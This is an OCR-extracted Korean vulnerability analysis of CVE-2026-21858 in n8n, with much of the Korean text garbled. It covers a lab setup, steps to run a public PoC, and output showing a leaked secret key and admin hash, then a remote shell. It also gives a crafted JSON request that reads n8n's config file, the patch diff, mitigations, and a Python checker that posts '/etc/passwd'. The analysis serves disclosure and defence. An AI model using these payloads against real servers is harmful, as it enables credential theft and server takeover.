a3 3. 2R A Wy
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HE[R AR IZZRE YTt

c @ localhost:9000/home/workflows G W - @

Overview oo

All the workflows, credentials and data tables you have access to

Prod. executions Failed prod. executions Failure rate Time saved Run time (avg.)
Last 7 days Last 7 days Last 7 days Last 7 days Last 7 days

0 0 0% © Os

Workflows Credentials Executions Variables Data tables

47 Welcome EQST!

Create your first workflow

workflow.txt 2| =E JSON 2 {IAEE20| 20 1, IEZRE Active MENZ HetoiC), siE
REZRE E EZ[HE Ed ¥ AIEX mIYUS /AZCSHH, 0| HAEZ HasI] SESH=E
TZ=0|C},

@ localhost:9000/workflow/GTnWn5HAYioVaVuz & 1 s ®

ea

—

rsonal = My workflow + Add tag © 0

Active () Share | Saved

Editor Executions Evaluations

CICHESE

On form submission? Extract from Filel Form1

Extract From Text File Form Ending
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On form submission1 ==& CE22!6t04 Production URL 2 =tQISHC},

© localhost9000/workflow/GTnWn5H4YioV8Vuz/fod6fs

E On form submission1

Parameters Settings Docs &

*  Form URLs

Test URL Production URL

Il in a test form submission

http:fflocalhost:29000/form/ebdb66d2-60d 2-4610-8

A Execute step 15a-b31ab519690f

Authentication

will also trigger automatically on new form None
jons (but those executions won't show up
here). More info Farm Title

3zl 6. & E2|7 Ho]X] URL

Ez2|A Ho[X|olM mUs FEESH= 0| 7hsstot. i Ho|X|=
gdote 22, 2R ABAIE0| A Y + URE SUHElE A=ZEQAEOC,

ol
C
P
=~
o

I I
=

@ localhost9000/form/ebdb66d2-60d2-46f0-815a-b31ab5f9690f

CVE-Test
file
ol ME | MEiE opel gls

Form automated with O-O-{__OO nén

a7l 7 o A2E 7|

or

»

cute this node to vie
or set mock data
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Step 2. F4H HAE

SAX PCOIM F[oFd AEEZ| ZQIES 2 n8n & EZ2|A HO[X|S =felotrt.

-

Jocs M Kali Forums o Kali NetHunter Exploit=-DB Google Hacking DB OffSec

CVE-Test

file

Browse-- |No Tiles selected.

Form automated with r}o{__oc' n8n

O3 8. FoFY AER| EOIE 2ol

—— =

PoC ZEE CI2EEst AAoiCt.

> git clone https://github.com/EQSTLab/CVE-2026-21858.git
> cd CVE-2026-21858

> pip3 install -r requirements.txt

> python3 poc.py

# python3 poc.py

=== n8n RCE Tool Setup ===
Enter Form URL (ex: http://localhost:9000/form/...): http://172.17.0.2:9000/Form/ebdb66d2-60d
2-46f0-815a- b31at|5f969@fl

a2l 9, poC Aldl

(&)
r2

Ez2| XQIE(Entry Point): AT EO{Lt A|AHIM ZZO0| AZE= QYA
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nén CVE 858 Asset E
Target: http://172.17.0.2:9000

60d2-4670-815a-b31ab579690f

BN g //172.17.0.2:9000/form-waiting/5)

[>] d1taba5c 5011 e g = = (Taraget: http://172.17.0.2:9000/form-waitina/6)
[+] & & : FINAL_SECRET_KEY = "eaa@22a62d99a49cc71c274111c631729927b94f2a5b7099995a115e33021
: admin_id = "bc65923a-a910-4587-9fbh3-82e4ae90T6cT"

: admin_hash = "ertqdzz9Xxz"

0l% ZZRH= MADH JWT 2 RESTAPI S 55011, YIEES 9l LES MM 4 Ut Mol Alag
TYS Y AW 2 2

= Execute Command =EE X7} n8n Aol &

EEE

=== n8n Shell Ready ===
n8n-shell> id

a3

11. RCE
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2
bl
x
=
I
x

FIHE MM 24 FoM= n8n2l E= 2F XM2| 20|ZA0|ZS FH MY W IMYUS gl= 34 HHE
HHAMoz MEsit. [EZ 7HR]0Me 50| SARUIX| HotED, [FFY HAM 2M] oMz &t ZEE
7|80 2 FofEE EAMstct
I 8= 71
=2 2 AAHD n8n 2 MAZICE AHASH=E HTTP 7|8te| XtE =& MF{LIEO0|Ct 2F0A U=
URL 2 RFE TE3SIH, n8n 2 0| l§§ 2ot LI QAEERE FA| JtSTiCt
O|HIE & o2 gtol
N
rd
ya
O[HIE w g2l h o
> N
4 rd
A —0— A ¢ O
Zajo|olE M SzjojolE N M
Z 0D ’
< A\
32 12. 9% vs. APl 28 W4 %o
2M ALIE|R9] & E2He EF HIFLIES 78z E’%r'— AEHQIE F SHLO|Ct WOl AZ2
AAED ZF OB S=tlof Z[X2t=lo] UCL Olet EE|, & E2[H= AH8XA dHE 28 HTML Form

QIEJH|O|AE H|Z6IH LHEXOZ= multipart/form-data Rgz A5l RIEERE 7t
28 XM2| Al Content-Type 2 ¥AS| ASBSHX| Qb= FUFO| ExHsto], M L oY EF ¢
H| 7| =|ACt.
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M

Il FloFd &Ml 24

Flof HERl n8n(1120.4) ZEE EAol0 OEA M L TfE0| &2 + AAESX| ZOH2Lt.

Step 1. Content-Type 0l [}E req.body.files 2 BHAl X}0|

n8n 2 2 HTTP LS $£ASHH QK| Content-Type sl M2 MZ CHE IIME 222
Kelstot, ojmf mY HZC HMHEZ ARE|E= req.body.files 7 MAME|= HHAI0| Content-Type Of 2t
=hefxict,

835 async function parseRequestBody(

863 const { contentType } = req;

864 if (contentType === "multipart/form-data’ . -
865 (req.bodyyz await parseEor‘méata(r‘eq); a I multlpart"a' 3% parseFormData() oM =5
866 } else {

867 if (nodeVersion > 1) {

868 if (

869 contentType?.startsWith('application/json') ||

870 contentType?.startsWith('text/plain’) ||

871 contentType?.startsWith('application/x-www-form-urlencoded') ||

872 contentType?.endsWith('/xml') ||

873 contentType?.endsWith('+xml')

:;: ) await parseBody(req); /1 3 2|2 Et2 parseBody()E Sdll req.body?t X
876 }

877 } else {

878 await parseBody(req);

879 }

880 }

881 }

12! 13. Content-Type S| 7|4t OtM £7]| 2X

(1) d& 8H - multipart/form-data

= Ez[Ho FHaFHozZ FE Oo[HE H®&ESHH multipart/form-data 2 80| S0{MH,
parseFormData()7t SZEICt. parseFormData()= formidable IIAME ol RZE TIAS A A
HEZ(/tmp/<random-id>)0f| XMZ&st, O HZE req.body.files['field-0'].filepath £ AN TICE,

Content-Type ol A2 E OhA

a2l 14. M4 QA M reqg.body.files MM 2

% Y SENME= filepath 7F MHO|M ddot (Al B=2=2 nFEICE AMEXE ¢ole 22 i F=E
XEg + gltt.
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(2) ==l 88 - application/json

34X E EZ|HE Est Q9 Content-Type & application/json 22 =IXfsHH n8n

parseBody()2 =350 22 JSON 2 1HZ req.body Z AESTICL O] ItHOM 220 files +X

ZESHH, req.body.files['field-0'].filepath 7} JSON O] E&t=l 2t =2 AM=ICt,

Content-Type YUt 2F OHA
files

Request

{

abc": ".."

I}

"files™: "..."

}

a2l 15, =XE QX Al reg.body.files MM 2

2t ZZXb= Of2h GIA[ME filepath O] MH 2Z MY Z2E

ikl

¥ FYE 4 QUck

Request

Pretiy Raw Hex

1 [POST sform/ehdbEEd-E0d-46f0-81l5a-b3labsf9650f ﬁTP;l.l] /! Form Trigger elExolE
2 Host: localheost:S000

Content-Length: SI

sec—ch-ua-platform: "Windows"

Accept-Langquage: ko-ER, ko;g=0_59

sec—ch-ua: "Chromiwm" ;w="143", "Not A(Brand";w="I4"

|[Content-Type: applicacion/json| [f multipart/form-data = application/json

sec—ch-ua-mobile: YU

w

T

W0

Safari/f537.36
10 Accept: */%
11 Origin: http: /S localhost: 2000
12 Bec-Fetch-5ite: same-origin
1% Bec-Fetch-Mode: cors
14 Sec-Fetch-Dest: enpty
15 Referer: http:/Slocalhost:S000/ form/ehdbeadl-E0d2-46£0-815a-b3laksE9290f
1t Accept-Encoding: gzip, deflate, br

15 {

20 "files":{

21 "field-0":{

22 "filepath": " home/nin/ nin/config" |||I||II JSON E'E‘
23 1

24 1

250}

32! 16. application/json 2HE E3t files ZE XTZt 0f|A]

5, Z3E 28 S20IME BARPL filepath & Yolo| 22 1Y 2= XY 4 QUCk

o
—
=
=

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; xE4) AppleWebFit/537.38 (FHTHML, like Geck:
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Step 2. E2|7{ 4'8 7|ED Content-Type 2| SUX|

EMls= E E2|/H Q0| E0{QEH n8n 2 29| Content-Type S 7|FQZ 0|2 THHSIX| QH=Ct. CHAI
28 URL(/form/<uuid>)2 7|22 Me| 22X ZH™oiCt

26 export class WebhookService {

341 async runWebhook(
360
361 const context = new WebhookContext( o 4
362 workflow, /| context0]] #xH AT U=
33 node, /| 92ERS, b, Y BE S 32 vy
364 additionalData,
365 mode,
366 webhookData,
367 [1,
368 runExecutionData ?? null,
369 );
2:? return nodeType instanceof Node N -?HIH nodeType - FormTriggerVZ
H OIL- StA 5=
372 ? await nodeTvpe webhook(context) /1 k2t FormTrlggerVZOH webhook() g+ 28
373 I??await nodeType.webhook.call(context)) as INebhookResponseData);I
374 }
375}

32! 17. Content-Type 2} 223t FormTriggerv2 HZ 2

= QAN 22 mMA2 Content-Type Off 2} H2tX|X|2t X{2| 2ZI2 Content-Type 0| OL|2F URL 7|t
Eg|Aq AY Zn2 ZF™ECL o] A= mRo| SZXIIt application/json 22 req.body.files['field-
h

07filepath 8 ZUHE, MHE Z E2i7 28 X2lS Ssich
207 export class FormTriggerV2 implements INodeType {
208 description: INodeTypeDescription;
209
218 constructor(baseDescription: INodeTypeBaseDescription) {
211 this.description = {
212 ...baseDescription,
213 ...descriptionV2,
214 };
215 } /| FormTriggerV2.webhook()2 formWebhook() Z& S {tet
216
217 async webhook(this: IWebhookFunctions) {
218 return await formWebhook(this);
219 }
220}
a2l 18, E Eg|A k2| 2= M3 (formWebhook)
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Step 3.filepath 2|2 Qlst 2 mel @9l

E Ez2|H Q88 Kz2| Al, prepareFormReturnitem() &4+2 & 228 returnltem Of XZstn, 0|F
HIAEER0M ALETICEL

502 export async function formWebhook(

612 if (useWorkflowTimezone === undefined && node.typeVersion > 2) {

613 useWorkflowTimezone = true;

o } /| #%H JSON HAlZ E &Alo| JSON HEZ gt

616 I const returnltem = await prepareFormReturnItem(context, formFields, mode, useWor‘k'FlowTimezone);I

617

618 return {

619 webhookResponse: { status: 260 }, 3 -
S| AtEHRE 2 H}3

620 workflowData: [[returnItem]], /1 '8etE ZoHJSON)2H EIRE 2005 et

621 };

622 }

J& 19. £ =gk 9 01 f|o|E| HE X2| (prepareFormReturnitem)

prepareFormReturnitem()2 QX =220|M data 2 files & F&si6] E EzZ[H 2 KNz
ZIHreturnltem)2 FASICE O] IMEOIM files 7 multipart/form-data TtAZF MASH ZHOIX] 6B
SIOISIX| Qf=C}, Chard| "ZE E2|HE S0{2 QXO0|2HH multipart/form-data Q&Y Z" ol2t= FH|
stofl X 2|gtct.

349  export async function prepareFormReturnItem(

350 context: IWebhookFunctions, N data > Hl E| A E z*r
351 formFields: FormFieldsParameter,
352 mode: 'test' "production’ . . . .
= .l procuction // files > 2F IHY 9| filepath, originalFilename S
353 uselWorkflowTimezone: boolean = false, ol
Y |Et GO E]
354 ) {
355 const bodyData = (context.getBodyData().data as IDataObject) ?? {};
356 const files = (context.getBodyData().files as IDataObject) ?? {};
357

gl 20.files M| == 5 gt

M2t SAXE7E application/json REOZ FSH req.body.files['field-0.filepath = H& AZC
ool M 222 7HRE|H, o| oY =ANA] 220 JciZ2 MEE - UCH
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Step 4. YIE=L 70| ME O &

2 AN F=EZ TS returnitem O] SAMEICE O|EA| MME returnitem 2 0|2 YIAEER

349 export async function prepareFormReturnItem(

386

387 const entryIndex = Number(key.replace(/field-/g, "'));

388 const fieldLabel = isNaN(entryIndex) ? key : formFields[entryIndex].fieldLabel;

389

390 let fileCount = 8;

391 for (const file of processFiles) {

392 let binaryPropertyName = fieldLabel.replace(/\W/g, '_');

393

394 if (multifFile) {

395 binaryPropertyName += ~_${fileCount++} ;

. ! /I file filepathol] Q= 22 2 Nt 9fm SAret
398 returnItem.binary![binaryPropertyName] = await context.nodeHelpers.copyBinaryFile(
399 file.filepath,

400 file.originalFilename ?? file.newFilename,

401 file.mimetype,

402 );

403 }

404 }

3z 21, 2YE F=o| NS A

Biop Zxj7} ofzfet 2| filepath 2 AlB Lf TIAS Jt271= FS, ngn ABIE 012 FHymOl ¥Rc
U2 Q0Ishn dfiE TS =ALIOY AFG3ICY,

{
"files":{
"field-0":{
"filepath":"/home/n8n/.n8n/config"
}
}
}
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23RO YEC NAS B 4 Yt VIS0l ENE F2, BAWL NE 2H ne| 182
& 20l gieh ol Exte

ZZtEl filepath Off 2|8 n8n 2| config DtYS| LHEO| =& 2EO0|Ct,

<« &) @ localhost:3002/form-waiting,/171

I { "encryptionKey™: "CHANGE_ME_TO_A_LONG_RANDOM_STRING_32PLUS" }l

— n8n encryptionKey

22. Md L5 ot LHZ0| SE CIOIE|Z tr2tEl Za} of|A|
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W LS giot

CVE-2026- 21858 2 2z Qo] 2F QHEIOZ M LR mido| MIZE & U= FANMOZE, A 2F
SHAHO| O|Xl= F2o| i =AC MatA 6H ™0 =% n8n QUARHAE ZZIHQl Ik MES
(MO Z otg|, JIHIIE ME517| o2 ZARE ChH[$H =71HQl ZTX|7t T RsiCt.

OiX] B

n8n 1121.0 Of4t

® Hot mjx| M

n JHLEIS CVE-2026-21858 #|QFE0|| CHSH HOF IHX|I2 ZIHHC STt THX|=
HHZ2 SASH| ®, 282 Content-Type O AHMZ multipart/form-data
20|86 Z2Z0| E7IE|JLCT.

|-h
= L0

20259 11 & 18 & n8
= Oo[HE us &

B AlSH
e EO
HARIX| HRE Fef9|

0

packages/nodes-base/nodes/Form/utils/utils.ts It22| prepareFormReturnitem() g=0A 0|2
golgh = UCH oy mX|7t MEE 2tFoM= =ZHE Ho|E7F IHY E= HE=Z dYEl= 2P X7t
HH SMEEE, 2 FAHE S0 A2 22EHQ=E KILHEIC

- O 1L

s/nodes-base/nodes /Form/utilsfutils. ts I,’_[;] "

export async function prepareFormReturnIitem(
context: IWebhookFunctions,
formFields: FormFieldsParameter,
mode: 'test' | 'production’,
usellorkflowTimezone: hoolean = false,
3 1
+ const req = context.getRequestObject() as MultiPartFormData.Reguest;
a.ok{reg.contentType === "multipart/form-data®, 'Expected multipart/form-data');
const bodyData = {context.getBodyData().data a= IDatabbject) 7 {};

const files = (context.getBodyDatal).files as IDatalbject) 27 {};

13 23.CVE-2026-21858 &9t XX| LfE
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w3, #E 9l HAE [S AYO| Content-Type #E ZXS Hrh MBsto] ARt ool Ay
= S =l
o =

s/nodes-basesnodes/Webhook /Webhook . node . ts [E] :

@@ -12,6 +12,7 @@ import type {
INodeProperties,
T from "nEn-workftlow';
import { BIMARY_EMCODING, MNodeQperationErraor, Mode } from "n@n-workflow';
+ import * az a from "node:assert’;
import { pipeline } from 'stream/promises”;
import { file as tmpFile } from 'tmp-promise”;

import { w4 as uuid } from ‘uuid';
@ -316,6 +317,7 @2 export class Webhook extends Mode {

preparefutput: (data: IModeExecutionData) =» INodeExecutionDatal]l[],
|

const req = context.getRequestObject() as MultiPartFormData.Request;
+ a.ok{req.contentType === "multipart/form-data', "Expected multipart/form-data'};
const options = context.getNodeParameter("options®, {}) as IDataDbject;

const { data, files } = req.body;

12l 24, Webhook E Content-Type &S %7}

® Eot mjX] HE0| of2{2 32

stAo| H|etoZ ZZIXQl IiX|7t of2{R AR, 22 HUH(Attack Surface)2 %|A3%617| QI8 CHEt
=

BUEs B E27 OVt ZPE YABELS BA MG o} . 53l HAE SHOE MM
A2B2LIt 2¥ HFo| )2 Wob 3 FYHOR OBEX UEE A HiEN st o]
pN|
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2) EE 5 HIHLIE Z3l
E2|H LE0| Basic Auth EE= Header 7|t Q1=S XE8{0} SHC, Q& 1= MEHI} ESHE|X| Qe

QE HTTP QEUCZE=E T A2/t HAE[X]| 84| thME = UCH

OUTPUT

2 On form submission

Parameters Settings Docs &

»

~  Form URLs

Test URL Production URL

http://127.0.0.1:9000/form-test/1d7588df-9bd9-
4358-9d87-b9125c8b8807

Authentication :  Fixed Expression

Basic Auth ~

—)1 Basic Auth

None

Title

IJ
o
N
o
N
rie
re
ol
0%
1z
"
A

—

2% 3¢ n8n QUAHAQ| F|of RS MESHA| TEHSP| 23l XiSetel HH A3REES 8 + ULt
2 23EEE 4 3ZE $ASk= Chdl, Content-Type HFO| WE M| S TEHS 2M5I0
o

n8n 2| /form/ AE=ZIEN| application/json EAle| @EE HLin 220 filepath 7|¥EE ZetsIo
HM&otct, ol MH7I @ES FAXMOE 8% R, Content-Type AE0| MEE|X| gt F( oot AElZ
REHCESICE 2 @S AR X7t MEE orHeh AeijZ EEiohrt
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import requests

def check_n8n_vulnerability():
url = input("Enter n8n Form URL: ").strip()

if "/form/" not in url:
print("[NOTICE] Only ‘/form/' URLs are supported.")

return

try:
res = requests.post(
url,
json={"filepath": "/etc/passwd", "fileName": "test"},
headers={'Content-Type': 'application/json'},

timeout=5

if res.status_code == 200:

print(f"\n[VULNERABLE] {url} (Status: 200)")
else:

print(f"\n[SAFE] {url} (Status: {res.status_code})")

except Exception as e:
print(f"\n[ERROR] {url}: {e}")

if _name__=="__main__":

check_n8n_vulnerability()

== e HIAIXIof mE2p Fef 6fRE EHESIC

Bl ALK] Ao |
[VULNERABLE] S QIABIAE FOfStEE FHA| IfX| = Het =XV} Hast
[SAFE] Hob IiX|7F MEE UL 2B0| HYFo=Z Kt

[NOTICE] T2l URL 23
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+ NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-21858

« n8n GitHub Security: https://github.com/n8n-io/n8n/security

« n8n Docs: https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.form/

« The Hacker News: https://thehackernews.com/2026/01/critical-n8n-vulnerability-cvss-100.html
« CYERA: https://www.cyera.com/research-labs/ni8mare-unauthenticated-remote-code-
execution-in-n8n-cve-2026-21858

« Chocapikk GitHub: https://github.com/Chocapikk/CVE-2026-21858
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